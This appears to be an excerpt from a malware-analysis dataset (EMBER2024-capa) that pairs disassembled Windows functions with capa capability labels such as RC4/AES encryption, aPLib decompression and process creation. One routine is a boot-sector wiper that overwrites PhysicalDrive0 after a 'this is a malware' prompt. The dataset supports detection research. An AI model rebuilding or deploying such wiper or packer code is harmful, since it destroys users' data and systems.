joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14022d880
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x40
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov rsi, rdx
mov rdi, rcx
mov rdx, qword [rcx + 8]
add rdx, 0x40
mov rax, qword [rdx]
cmp byte [rax], 0
je 0x14022d96f
lea rcx, [rsp + 0x78]
call fcn.140018b20
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14022d96f
mov dword [rsp + 0x20], 0
lea r9, vtable.type_info.0
lea r8, vtable.type_info.0
xor edx, edx
mov rcx, rdi
call sub.VCRUNTIME140.dll___RTDynamicCast
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x60], rcx
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.14008ee90
nop
mov ebx, dword [rdi + 0x1c]
mov rax, qword [rsp + 0x70]
test rax, rax
je 0x14022d942
cmp qword [rax + 0x10], 0
je 0x14022d942
test ebx, ebx
jle 0x14022d942
mov eax, dword [rdi + 0x1c]
dec ebx
cmp ebx, eax
jl 0x14022d92c
lea ebx, [rax - 1]
mov eax, ebx
shr eax, 0x1f
xor al, 1
je 0x14022d942
movsxd rcx, ebx
mov rax, qword [rdi + 0x10]
mov rcx, qword [rax + rcx*8]
mov rax, qword [rcx]
mov rdx, rsi
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetElement]
jmp 0x14022d902
lea rax, [rsp + 0x70]
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x14022d96f
mov eax, 0xffffffff
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x14022d96f
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
add rsp, 0x40
pop rdi
pop rsi
pop rbx
ret
Function at 0x14022d980
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov r8d, dword [rdx + 0x10]
mov rdi, rdx
mov edx, dword [rcx + 0x100]
mov rbx, rcx
mov rcx, qword [rcx + 0xd0]
mov r9b, 1
call fcn.1401e6270
mov rcx, qword [rbx + 0xd0]
lea rdx, [rbx + 0xe0]
add rcx, 0x108
mov r8, rdi
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp 0x14022d980
push rbp
push rsi
push rdi
sub rsp, 0x40
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [rsp + 0x68], rbx
mov rsi, r8
mov rbp, rdx
mov rdi, rcx
mov rdx, qword [rcx + 8]
add rdx, 0x40
mov rax, qword [rdx]
cmp byte [rax], 0
je 0x14022da80
lea rcx, [rsp + 0x38]
call fcn.140018b20
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14022da80
mov dword [rsp + 0x20], 0
lea r9, vtable.type_info.0
lea r8, vtable.type_info.0
xor edx, edx
mov rcx, rdi
call sub.VCRUNTIME140.dll___RTDynamicCast
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x60], rcx
mov rdx, rax
lea rcx, [rsp + 0x78]
call fcn.14008ee90
nop
mov ebx, dword [rdi + 0x1c]
nop word [rax + rax]
mov rax, qword [rsp + 0x78]
test rax, rax
je 0x14022da53
cmp qword [rax + 0x10], 0
je 0x14022da53
test ebx, ebx
jle 0x14022da53
mov eax, dword [rdi + 0x1c]
dec ebx
cmp ebx, eax
jl 0x14022da3a
lea ebx, [rax - 1]
mov eax, ebx
shr eax, 0x1f
xor al, 1
je 0x14022da53
movsxd rcx, ebx
mov rax, qword [rdi + 0x10]
mov rcx, qword [rax + rcx*8]
mov rax, qword [rcx]
mov r8, rsi
mov rdx, rbp
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
jmp 0x14022da10
lea rax, [rsp + 0x78]
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x14022da80
mov eax, 0xffffffff
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x14022da80
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
mov rbx, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
pop rsi
pop rbp
ret
Function at 0x1402451a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0x30
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x50], rbx
movzx esi, r8b
movzx ebp, dl
mov rdi, rcx
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
mov rdx, rcx
lea rcx, [rsp + 0x68]
call fcn.14008ee90
nop
test bpl, bpl
je 0x140245234
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 0x110]
mov rax, qword [rsp + 0x68]
test rax, rax
je 0x1402451fa
cmp qword [rax + 0x10], 0
jne 0x140245239
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x140245227
mov eax, 0xffffffff
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x140245227
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
mov rbx, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
pop rsi
pop rbp
ret
mov rax, qword [rsp + 0x68]
test sil, sil
je 0x1402452ac
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 0x108]
mov rax, qword [rsp + 0x68]
test rax, rax
je 0x1402451fa
cmp qword [rax + 0x10], 0
je 0x1402451fa
mov ebx, dword [rdi + 0x4c]
sub ebx, 1
js 0x1402452ac
nop dword [rax]
nop word [rax + rax]
movsxd rcx, ebx
mov rax, qword [rdi + 0x40]
mov rcx, qword [rax + rcx*8]
mov rax, qword [rcx]
call qword [rax + 0x120]
mov rax, qword [rsp + 0x68]
test rax, rax
je 0x1402451fa
cmp qword [rax + 0x10], 0
je 0x1402451fa
cmp dword [rdi + 0x4c], ebx
cmovl ebx, dword [rdi + 0x4c]
mov ecx, ebx
dec ebx
test ecx, ecx
jg 0x140245270
mov rcx, qword [rdi + 0x18]
test rcx, rcx
je 0x1402452c6
mov rax, qword [rcx]
mov rdx, rdi
call qword [rax + 0x118]
mov rax, qword [rsp + 0x68]
test rax, rax
je 0x1402451fa
cmp qword [rax + 0x10], 0
je 0x1402451fa
mov ebx, dword [rdi + 0x8c]
test rax, rax
je 0x1402451fa
cmp qword [rax + 0x10], 0
je 0x1402451fa
test ebx, ebx
jle 0x1402451fa
mov eax, dword [rdi + 0x8c]
dec ebx
cmp ebx, eax
jl 0x140245318
lea ebx, [rax - 1]
mov eax, ebx
shr eax, 0x1f
xor al, 1
je 0x1402451fa
movsxd rcx, ebx
mov rax, qword [rdi + 0x80]
mov rcx, qword [rax + rcx*8]
mov rax, qword [rcx]
movzx r9d, sil
movzx r8d, bpl
mov rdx, rdi
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rax, qword [rsp + 0x68]
jmp 0x1402452e0

Function at 0x14024e390
Capabilities:
Open clipboard

Disassembly:
push rbx
sub rsp, 0x30
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov rbx, rcx
call fcn.14024cdd0
lea r9, [rbx + 0x138]
lea r8, [rbx + 0x120]
lea rdx, [rsp + 0x40]
mov rcx, qword [rbx + 0xc8]
call fcn.140251ea0
nop
mov rax, qword [rsp + 0x40]
cmp byte [rax], 0
je 0x14024e3e8
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x14024e3e8
lea rcx, [rsp + 0x40]
call fcn.1401c3d10
nop
mov rcx, qword [rsp + 0x40]
add rcx, 0xfffffffffffffff0
lea rax, [0x1402be068]
cmp rcx, rax
je 0x14024e40f
mov eax, 0xffffffff
lock xadd dword [rcx], eax
test eax, eax
jne 0x14024e40f
call fcn.14010a370
mov al, 1
add rsp, 0x30
pop rbx
ret
Function at 0x14026e000
Capabilities:
Create process on windows
Get common file path

Disassembly:
mov r11, rsp
push r14
sub rsp, 0x60
mov qword [r11 - 0x38], 0xfffffffffffffffe
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x18], rsi
mov qword [r11 + 0x20], rdi
mov rax, qword [0x1404716f0]
xor rax, rsp
mov qword [rsp + 0x58], rax
xor eax, eax
mov qword [r11 - 0x30], rax
mov qword [r11 - 0x28], rax
mov qword [r11 - 0x20], rax
mov qword [r11 - 0x18], rax
lea edx, [rax + 0x20]
lea rcx, [r11 - 0x30]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea rax, [rsp + 0x38]
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0x20]
call fcn.14001b960
nop
lea rcx, [0x14037b3a1]
lea r14, str._control.exe_bthprops.cpl
sub ecx, r14d
mov rbp, 0xffffffffffffffff
test ecx, ecx
jle 0x14026e0c9
mov rax, qword [rsp + 0x20]
mov rbx, rbp
nop dword [rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x14026e090
movsxd rsi, ecx
lea rdx, [rsi + rbx]
lea rcx, [rsp + 0x20]
call fcn.140151f40
movsxd rdi, ebx
mov rbx, qword [rsp + 0x20]
add rdi, rbx
mov r8, rsi
mov rdx, r14
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rdi], 0
jmp 0x14026e0ce
mov rbx, qword [rsp + 0x20]
mov edx, 1
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WinExec]
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop
lea rcx, [rbx - 0x10]
lea rax, [0x1402be068]
cmp rcx, rax
je 0x14026e100
lock xadd dword [rcx], ebp
test ebp, ebp
jne 0x14026e100
call fcn.14010a370
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14010a310
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
Function at 0x140e59058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x140e591df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140e59089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140e5906f
add dl, dl
jne 0x140e59096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140e590f6
xor eax, eax
add dl, dl
jne 0x140e590a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140e591ad
add dl, dl
jne 0x140e590b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140e590c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140e590d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140e590dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140e590ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140e5907e
mov eax, 1
add dl, dl
jne 0x140e59106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140e59113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140e590fb
sub eax, ebx
mov ebx, 1
jne 0x140e5914c
mov ecx, 1
add dl, dl
jne 0x140e5912e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140e5913b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140e59123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140e5907e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140e59168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140e59175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140e5915d
cmp eax, 0x7d00
jae 0x140e5919b
cmp eax, 0x500
jb 0x140e59196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140e5907e
cmp eax, 0x7f
ja 0x140e5919e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140e5907e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140e591d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140e5907e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1415560b0
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.141556237
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1415560e1
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1415560c7
add dl, dl
jne 0x1415560ee
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14155614e
xor eax, eax
add dl, dl
jne 0x1415560fd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141556205
add dl, dl
jne 0x14155610e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14155611b
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141556128
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141556135
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x141556142
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1415560d6
mov eax, 1
add dl, dl
jne 0x14155615e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14155616b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141556153
sub eax, ebx
mov ebx, 1
jne 0x1415561a4
mov ecx, 1
add dl, dl
jne 0x141556186
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141556193
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14155617b
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1415560d6
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1415561c0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1415561cd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1415561b5
cmp eax, 0x7d00
jae 0x1415561f3
cmp eax, 0x500
jb 0x1415561ee
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1415560d6
cmp eax, 0x7f
ja 0x1415561f6
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1415560d6
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14155622a
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1415560d6
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001000
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
mov r9d, 0x34
lea r8, str.Malware
lea rdx, str.This_is_a_malware_and_can_destroy_your_os__n_nDo_you_want_to_continue_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
sub eax, 6
je 0x14000103a
cmp eax, 1
je 0x140001031
xor eax, eax
add rsp, 0x28
ret
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.140001040
int3

Function at 0x140001040
Capabilities:
Terminate process
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x70
mov rax, qword [0x140004008]
xor rax, rsp
mov qword [rsp + 0x68], rax
xor esi, esi
lea rcx, str..PhysicalDrive0
mov qword [rsp + 0x30], rsi
xor r9d, r9d
mov dword [rsp + 0x28], esi
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
lea r8d, [rsi + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x14000109d
lea ecx, [rsi + 2]
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, 0x10000
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
lea r9, [rsp + 0x60]
mov qword [rsp + 0x20], rsi
mov rdx, rax
mov r8d, 0x10000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1400010d7
lea ecx, [rax + 3]
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
mov rdi, rax
call qword [sym.imp.USER32.dll_GetWindowDC]
lea rdx, [rsp + 0x50]
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.USER32.dll_GetWindowRect]
mov ecx, dword [rsp + 0x5c]
xor r8d, r8d
sub ecx, dword [rsp + 0x54]
xor edx, edx
mov r9d, dword [rsp + 0x58]
sub r9d, dword [rsp + 0x50]
mov dword [rsp + 0x40], 0x660046
mov dword [rsp + 0x38], esi
mov dword [rsp + 0x30], esi
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ecx
mov rcx, rbx
call qword [sym.imp.GDI32.dll_BitBlt]
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.USER32.dll_ReleaseDC]
jmp 0x1400010e0
Function at 0x180004e9d
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
aeskeygenassist xmm0, xmmword [rdx], 2
movdqa xmmword [rcx], xmm0
ret
Function at 0x18000b8c0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rax, rdx
mov rsi, qword [rsp + 0x90]
mov rdi, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x80]
mov ebx, ecx
shr ebx, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov r15, rax
movzx r14d, byte [rax + 1]
add rax, 2
lea r10, [r11 + r14]
cmp byte [r15], bl
jne 0x18000b950
cmp r11, r10
ja 0x18000b9c6
cmp r10, rdx
ja 0x18000b9da
add r11, r9
xor r15d, r15d
nop word cs:[rax + rax]
cmp r14, r15
je 0x18000b952
lea r12, [r15 + 1]
cmp byte [r11 + r15], cl
mov r15, r12
jne 0x18000b930
jmp 0x18000b9b4
ja 0x18000b95a
mov r11, r10
cmp rax, r8
jne 0x18000b8f4
add rsi, rdi
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r8, [rdi + 1]
movzx edx, byte [rdi]
test dl, dl
js 0x18000b990
mov rdi, r8
sub ecx, edx
jns 0x18000b9ab
jmp 0x18000b9b6
cmp r8, rsi
je 0x18000b9eb
movzx r8d, byte [rdi + 1]
add rdi, 2
and edx, 0x7f
shl edx, 8
or edx, r8d
sub ecx, edx
js 0x18000b9b6
xor al, 1
cmp rdi, rsi
jne 0x18000b970
jmp 0x18000b9b6
xor eax, eax
and al, 1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.180034cf0
ud2
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.180034ac0
ud2
lea rcx, str.called__Option::unwrap____on_a__None__value
lea r8, str.librarycore_srcunicodeprintable.rs
mov edx, 0x2b
call fcn.180034b30
ud2
Function at 0x18000cf78
Capabilities:
Hash data using sha256

Disassembly:
add qword [rcx + 0x20], r8
jmp 0x18001df06
Function at 0x18000f228
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
sub rsp, 0x98
movaps xmmword [rsp + 0x80], xmm14
movaps xmmword [rsp + 0x70], xmm13
movaps xmmword [rsp + 0x60], xmm12
movaps xmmword [rsp + 0x50], xmm11
movaps xmmword [rsp + 0x40], xmm10
movaps xmmword [rsp + 0x30], xmm9
movaps xmmword [rsp + 0x20], xmm8
movaps xmmword [rsp + 0x10], xmm7
movaps xmmword [rsp], xmm6
aesimc xmm0, xmmword [rdx + 0x10]
aesimc xmm1, xmmword [rdx + 0x20]
aesimc xmm2, xmmword [rdx + 0x30]
aesimc xmm3, xmmword [rdx + 0x40]
aesimc xmm4, xmmword [rdx + 0x50]
aesimc xmm5, xmmword [rdx + 0x60]
aesimc xmm6, xmmword [rdx + 0x70]
aesimc xmm7, xmmword [rdx + 0x80]
aesimc xmm8, xmmword [rdx + 0x90]
aesimc xmm9, xmmword [rdx + 0xa0]
aesimc xmm10, xmmword [rdx + 0xb0]
aesimc xmm11, xmmword [rdx + 0xc0]
aesimc xmm12, xmmword [rdx + 0xd0]
movaps xmm13, xmmword [rdx]
movaps xmm14, xmmword [rdx + 0xe0]
movaps xmmword [rcx], xmm13
movdqa xmmword [rcx + 0x10], xmm0
movdqa xmmword [rcx + 0x20], xmm1
movdqa xmmword [rcx + 0x30], xmm2
movdqa xmmword [rcx + 0x40], xmm3
movdqa xmmword [rcx + 0x50], xmm4
movdqa xmmword [rcx + 0x60], xmm5
movdqa xmmword [rcx + 0x70], xmm6
movdqa xmmword [rcx + 0x80], xmm7
movdqa xmmword [rcx + 0x90], xmm8
movdqa xmmword [rcx + 0xa0], xmm9
movdqa xmmword [rcx + 0xb0], xmm10
movdqa xmmword [rcx + 0xc0], xmm11
movdqa xmmword [rcx + 0xd0], xmm12
movaps xmmword [rcx + 0xe0], xmm14
movaps xmm6, xmmword [rsp]
movaps xmm7, xmmword [rsp + 0x10]
movaps xmm8, xmmword [rsp + 0x20]
movaps xmm9, xmmword [rsp + 0x30]
movaps xmm10, xmmword [rsp + 0x40]
movaps xmm11, xmmword [rsp + 0x50]
movaps xmm12, xmmword [rsp + 0x60]
movaps xmm13, xmmword [rsp + 0x70]
movaps xmm14, xmmword [rsp + 0x80]
add rsp, 0x98
ret
Function at 0x1800130ba
Capabilities:
Enumerate pe sections

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
movzx eax, word [rdx + 0x1e]
rol ax, 8
movzx eax, ax
movzx r8d, byte [rdx + 0x1d]
shl r8d, 0x10
or r8d, eax
movzx r9d, byte [rdx + 0x1c]
mov eax, r9d
and eax, 3
shl eax, 0x18
or eax, r8d
mov dword [rcx], eax
shr r9d, 2
movzx r8d, byte [rdx + 0x1b]
shl r8d, 6
or r8d, r9d
movzx r9d, byte [rdx + 0x1a]
shl r9d, 0xe
or r9d, r8d
movzx r10d, byte [rdx + 0x19]
mov r8d, r10d
and r8d, 0xf
shl r8d, 0x16
or r8d, r9d
mov dword [rcx + 4], r8d
shr r10d, 4
movzx r9d, byte [rdx + 0x18]
shl r9d, 4
or r9d, r10d
movzx r10d, byte [rdx + 0x17]
shl r10d, 0xc
or r10d, r9d
movzx r11d, byte [rdx + 0x16]
mov r9d, r11d
and r9d, 0x3f
shl r9d, 0x14
or r9d, r10d
mov dword [rcx + 8], r9d
shr r11d, 6
movzx r10d, byte [rdx + 0x15]
lea r10d, [r11 + r10*4]
movzx r11d, byte [rdx + 0x14]
shl r11d, 0xa
or r11d, r10d
movzx r10d, byte [rdx + 0x13]
shl r10d, 0x12
or r10d, r11d
mov dword [rcx + 0xc], r10d
movzx r11d, word [rdx + 0x11]
rol r11w, 8
movzx r11d, r11w
movzx esi, byte [rdx + 0x10]
shl esi, 0x10
or esi, r11d
movzx edi, byte [rdx + 0xf]
mov r11d, edi
and r11d, 3
shl r11d, 0x18
or r11d, esi
mov dword [rcx + 0x10], r11d
shr edi, 2
movzx esi, byte [rdx + 0xe]
shl esi, 6
or esi, edi
movzx edi, byte [rdx + 0xd]
shl edi, 0xe
or edi, esi
movzx ebx, byte [rdx + 0xc]
mov esi, ebx
and esi, 0xf
shl esi, 0x16
or esi, edi
mov dword [rcx + 0x14], esi
shr ebx, 4
movzx edi, byte [rdx + 0xb]
shl edi, 4
or edi, ebx
movzx ebx, byte [rdx + 0xa]
shl ebx, 0xc
or ebx, edi
movzx r14d, byte [rdx + 9]
mov edi, r14d
and edi, 0x3f
shl edi, 0x14
or edi, ebx
mov dword [rcx + 0x18], edi
shr r14d, 6
movzx ebx, byte [rdx + 8]
lea ebx, [r14 + rbx*4]
movzx ebp, byte [rdx + 7]
shl ebp, 0xa
or ebp, ebx
movzx ebx, byte [rdx + 6]
shl ebx, 0x12
or ebx, ebp
movzx ebp, word [rdx + 4]
rol bp, 8
mov dword [rcx + 0x1c], ebx
movzx ebp, bp
movzx r14d, byte [rdx + 3]
shl r14d, 0x10
or r14d, ebp
movzx r15d, byte [rdx + 2]
mov ebp, r15d
and ebp, 3
shl ebp, 0x18
or ebp, r14d
mov dword [rcx + 0x20], ebp
shr r15d, 2
movzx r14d, byte [rdx + 1]
shl r14d, 6
or r14d, r15d
movzx edx, byte [rdx]
shl edx, 0xe
or edx, r14d
mov dword [rcx + 0x24], edx
cmp edx, 0x3fffff
jne 0x180013297
and r10d, r9d
and r10d, r11d
and esi, edi
and esi, ebx
and esi, r10d
and esi, ebp
cmp esi, 0x3ffffff
jne 0x180013297
add eax, 0x3d1
shr eax, 0x1a
add eax, r8d
add eax, 0x40
cmp eax, 0x3ffffff
jbe 0x180013297
xor eax, eax
jmp 0x1800132a4
mov dword [rcx + 0x28], 1
mov byte [rcx + 0x2c], 1
mov al, 1
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
Function at 0x18001626f
Capabilities:
Link many functions at runtime

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x30
mov rsi, rcx
mov r14, qword [0x1802620c0]
test r14, r14
jne 0x1800163a6
lea rcx, str.api_ms_win_core_synch_l1_2_0.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x1800162d9
mov rbx, rax
lea rdx, str.WaitOnAddress
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1800162d9
mov rdi, rax
lea rdx, str.WakeByAddressSingle
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1800162d9
mov r15, rax
xor ebx, ebx
jmp 0x18001635e
lea rcx, [0x180149700]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x1800163ba
mov rdi, rax
lea rdx, str.NtCreateKeyedEvent
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1800163ba
mov r14, rax
lea rdx, str.NtReleaseKeyedEvent
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1800163ba
mov rbx, rax
lea rdx, str.NtWaitForKeyedEvent
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1800163ba
mov rdi, rax
lea rcx, [rsp + 0x28]
mov edx, 0xc0000000
xor r8d, r8d
xor r9d, r9d
call r14
test eax, eax
jne 0x1800163ba
mov r15, qword [rsp + 0x28]
mov ecx, 0x18
call fcn.180016216
mov r14, rax
mov qword [rax], rbx
mov qword [rax + 8], rdi
mov qword [rax + 0x10], r15
xor eax, eax
lock cmpxchg qword [0x1802620c0], r14
je 0x1800163a6
mov rdi, rax
cmp qword [r14], 0
je 0x180016396
mov rcx, qword [r14 + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 8
mov rcx, r14
call fcn.1800033b0
mov r14, rdi
and qword [rsi + 8], 0
mov qword [rsi], r14
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
call fcn.180035025
ud2

Function at 0x180016cda
Capabilities:
Generate random numbers via rtlgenrandom
Generate random numbers via winapi

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x68
mov rsi, rdx
mov rdi, rcx
mov r15d, 0xffffffff
mov r12, qword [sym.imp.bcrypt.dll_BCryptGenRandom]
mov r13, qword [sym.imp.ADVAPI32.dll_SystemFunction036]
test rsi, rsi
je 0x180016d4e
mov rbx, rdi
cmp rsi, r15
mov r14d, 0xffffffff
cmovb r14, rsi
add rdi, r14
sub rsi, r14
xor ecx, ecx
mov rdx, rbx
mov r8d, r14d
mov r9d, 2
call r12
cmp eax, 0xc0000000
jb 0x180016d04
mov ebp, eax
mov rcx, rbx
mov edx, r14d
call r13
test al, al
jne 0x180016d04
xor ebp, 0x80000000
jne 0x180016d5f
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
